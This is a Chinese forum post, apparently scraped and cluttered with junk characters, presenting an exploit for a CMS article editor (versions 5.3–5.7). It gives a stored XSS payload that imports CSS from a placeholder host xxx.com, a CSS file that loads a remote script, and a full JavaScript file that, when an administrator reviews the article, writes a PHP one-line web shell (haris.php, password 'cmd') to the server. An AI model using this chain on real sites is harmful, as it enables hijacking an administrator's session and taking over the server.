<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
; V* k* d8 ~$ U为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)4 I- Z4 z; f, F' \
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。5 r$ Q) ~) L: z$ F8 ~
下面说说利用方法。
. V# F4 m- }0 u& x' p条件有2个:3 U: k- e: ?, G- S! \( v3 j1 D
1.开启注册
$ P/ }3 m, ^+ w0 R2.开启投稿) ~7 D3 l; ?; B2 ?
注册会员----发表文章/ Q5 R7 R, J; J4 P: R( v1 \: g2 W( M
内容填写: R9 G/ u0 `3 a* i9 g9 x3 C R4 i
复制代码/ w5 m- |, R* Z! @
<style>@im\port'\http://xxx.com/xss.css';</style>; \- R5 f# q- F G0 ^- K$ d+ y" U+ K+ }
新建XSS.Css/ J9 F1 l6 A, @, S. b! P9 K& H
复制代码
( m/ r1 a/ d7 `# ^" p1 i$ o& S4 u.body{: R8 t3 [, P" r3 U$ O4 {' a7 m
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }* r0 w- e% @, q, g/ f' D
新建xss.js 内容为8 j1 c3 B+ g5 w# x4 b% K8 Y
复制代码4 I9 M: t4 D& V, m( a
1.var request = false;
7 N# H0 `& Q( j! c2.if(window.XMLHttpRequest) {% [ h# S( F% k( a: a; d
3.request = new XMLHttpRequest();3 b+ b4 l& i, `+ a. i1 e c
4.if(request.overrideMimeType) {9 \; v, t9 e: ?7 V! D1 k4 C) D
5.request.overrideMimeType('text/xml');
9 I, }( K' g! @! a6 k6.}
) s; r: ~: \" v5 z7 g1 G. v" E7.} else if(window.ActiveXObject) {% u! ^. T* C) i1 ]1 _* h
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% [/ P2 l( h1 Z9 a) p$ L
9.for(var i=0; i<versions.length; i++) {! M( k h; A0 I
10.try {
! m2 b5 J5 `' m0 \! @$ t# p0 z' E' d11.request = new ActiveXObject(versions);5 D! [8 c3 }& j5 b: P
12.} catch(e) {}
- h% g$ u3 B( D5 x13.}
* @" a; v8 T2 m/ F7 r0 Q, d14.}
! W$ U4 v0 x- {* ]7 S. [% S15.xmlhttp=request;3 ^; U5 s) B s" U1 K
16.function getFolder( url ){; I6 _+ A& F0 K+ ?2 b) g) z& N
17. obj = url.split('/')
% [! K* a6 j: n; n" n0 z1 r18. return obj[obj.length-2]
6 b7 f* `" k8 r19.}
! p* b) y W* b5 E- p7 E20.oUrl = top.location.href;: X& z4 v& s$ K( a% ]
21.u = getFolder(oUrl);; O. W8 F; ]# G+ p
22.add_admin();1 {8 @, D# ?- e, k
23.function add_admin(){/ N: u) W. E0 A. R4 ` E' \! I: n
24.var url= "/"+u+"/sys_sql_query.php";( x7 O2 G1 n; q, q6 Q! I6 c: O9 _
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";9 R7 b8 v# J& |" Z
26.xmlhttp.open("POST", url, true);! J" o8 O$ ^- s0 N4 a9 S5 _
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");% G' H' _3 R# Z) P4 r# i
28.xmlhttp.setRequestHeader("Content-length", params.length);) @) w! ?- F2 {' ~% q
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
: E. {0 m( N% A, | T p$ ?30.xmlhttp.send(params);
( X. T5 \# E* o% X* w K! S8 ?5 G31.}
: k/ U6 K# I! t8 Z5 I& w7 g' N当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |